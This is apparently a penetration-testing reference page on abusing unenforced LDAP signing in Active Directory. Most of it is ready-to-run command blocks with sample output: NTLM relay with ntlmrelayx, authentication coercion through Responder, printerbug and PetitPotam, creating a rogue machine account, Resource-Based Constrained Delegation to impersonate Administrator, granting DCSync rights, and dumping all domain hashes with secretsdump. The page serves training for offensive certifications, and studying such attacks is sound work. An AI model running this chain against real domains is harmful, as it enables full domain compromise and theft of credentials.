# LDAP Relay and Signing Abuse

- **URL:** https://hackindex.io/services/ldap/exploitation/ldap-relay-and-signing-abuse
- **Path:** LDAP > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/ldap/exploitation.md)
- **Published:** 2026-04-05
- **Updated:** 2026-06-19

When LDAP signing is not enforced on a domain controller, NTLM authentication relayed to the LDAP service can be used to create computer accounts, modify ACLs, or read sensitive attributes. This does not require any existing credentials: you only need to force authentication from a machine account or user and relay it to LDAP. The impact ranges from adding a machine account to the domain to full DCSync rights.

## Confirm signing is not enforced

Before attempting any relay, verify the signing state. Relaying to a DC with signing enforced will fail silently.

**Check LDAP signing and channel binding**

```bash
# nxc ldap-checker module
nxc ldap $TARGET_IP -u $USER -p $PASSWORD -M ldap-checker

# With null auth if anonymous bind works
nxc ldap $TARGET_IP -u '' -p '' -M ldap-checker
# LDAP  10.10.10.10  389  DC01  LDAP signing NOT enforced (vulnerable)
# LDAP  10.10.10.10  389  DC01  LDAPS channel binding NOT required (vulnerable)
```

If signing is not enforced, proceed. If LDAPS channel binding is also not required, you can relay to LDAPS which is slightly more reliable. See also [LDAP Signing and Channel Binding](https://hackindex.io/services/ldap/vulnerability-discovery/ldap-signing-and-channel-binding) for the full vulnerability confirmation workflow.

## NTLM relay to LDAP: add machine account

The most common relay target is creating a new computer account in the domain. This gives you a machine account with a known password, which enables Resource-Based Constrained Delegation abuse if you can write the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute on a target computer.

> [!WARNING]
> Responder's LLMNR/NBT-NS poisoning is prohibited in the OSCP exam. The LDAP relay itself is fine when authentication is triggered by coercion (printerbug, PetitPotam) instead of poisoning: use those trigger methods below and skip the Responder line during exam environments.

**Relay to LDAP with ntlmrelayx**

```bash
# Step 1: start relay targeting LDAP on DC, delegate auth to create machine account
impacket-ntlmrelayx -t ldap://$TARGET_IP --delegate-access -smb2support

# Or target LDAPS
impacket-ntlmrelayx -t ldaps://$TARGET_IP --delegate-access -smb2support

# Step 2: force authentication from any host (in separate terminal)
# Via Responder (capture then relay: disable SMB and HTTP in Responder.conf first)
responder -I eth0 -r -d -w

# Via printerbug (SpoolSample): forces DC to authenticate to you
impacket-printerbug $DOMAIN/$USER:$PASSWORD@$TARGET_IP $LHOST

# Via PetitPotam: forces auth without credentials on unpatched systems
python3 PetitPotam.py $LHOST $TARGET_IP
# [*] SMBD-Thread-2: Connection from 10.10.10.10 controlled, attacking target ldap://10.10.10.10
# [*] HTTP server returned error code 200, treating as a successful login
# [*] Authenticating against ldap://10.10.10.10 as CORP/DC01$ SUCCEED
# [*] Enumerating relayed user's privileges. This may take a while on large domains
# [*] User privileges found: Create user
# [*] User privileges found: Adding user to a privileged group (Enterprise Admins)
# [*] Attempting to create computer in: CN=Computers,DC=corp,DC=local
# [*] Adding new computer with password: RANDOMPASSWORD
# [*] Successfully added machine account ATTACKPC$ with password RANDOMPASSWORD
```

## RBCD: Resource-Based Constrained Delegation abuse

Once you have created a machine account via relay, use it to set up RBCD on a target computer. This lets you request a service ticket as any user (including domain admins) to services on the target.

**RBCD setup after relay**

```bash
# After ntlmrelayx creates machine account ATTACKPC$ with known password:

# Set msDS-AllowedToActOnBehalfOfOtherIdentity on target computer
impacket-rbcd -delegate-from 'ATTACKPC$' -delegate-to $TARGET_COMPUTER -action write -dc-ip $TARGET_IP $DOMAIN/$USER:$PASSWORD

# Get SID of the new machine account
impacket-getPac $DOMAIN/'ATTACKPC$':RANDOMPASSWORD -targetUser 'ATTACKPC$' -dc-ip $TARGET_IP

# Request a service ticket as Domain Admin via S4U2Self + S4U2Proxy
impacket-getST -spn cifs/$TARGET_COMPUTER.$DOMAIN -impersonate Administrator -dc-ip $TARGET_IP $DOMAIN/'ATTACKPC$':RANDOMPASSWORD

# Use the ticket
export KRB5CCNAME=Administrator.ccache
impacket-secretsdump $DOMAIN/Administrator@$TARGET_COMPUTER.$DOMAIN -k -no-pass
```

## Relay to LDAP: modify ACL for DCSync

When relaying a domain admin or account with WriteDACL on the domain object, ntlmrelayx can grant DCSync rights to an account you control: giving you the ability to dump all domain hashes.

**Relay to LDAP to grant DCSync rights**

```bash
# Relay and grant DCSync rights to controlled user
impacket-ntlmrelayx -t ldap://$TARGET_IP --escalate-user $USER -smb2support

# After successful relay, perform DCSync
impacket-secretsdump $DOMAIN/$USER:$PASSWORD@$TARGET_IP -just-dc
# [*] Authenticating against ldap://10.10.10.10 as CORP/Administrator SUCCEED
# [*] Enumerating relayed user's privileges. This may take a while
# [*] User privileges found: Modifying domain ACL
# [*] Querying domain security descriptor
# [*] Success! User 'jsmith' now has Replication-Get-Changes-All privileges on the domain
```

## Requirements summary

- LDAP signing not enforced on DC (confirmed with ldap-checker)
- Ability to force NTLM authentication from a machine or user (Responder, printerbug, PetitPotam, or coerced via another vulnerability)
- Machine Account Quota above 0 if creating a machine account (default is 10)

For the full vulnerability confirmation workflow before attempting relay see [LDAP Signing and Channel Binding](https://hackindex.io/services/ldap/vulnerability-discovery/ldap-signing-and-channel-binding).

## References

- [Impacket ntlmrelayx: GitHub](https://github.com/fortra/impacket) - NTLM relay to LDAP with --delegate-access and --escalate-user flags
- [PetitPotam: GitHub](https://github.com/topotam/PetitPotam) - Unauthenticated NTLM coercion via MS-EFSRPC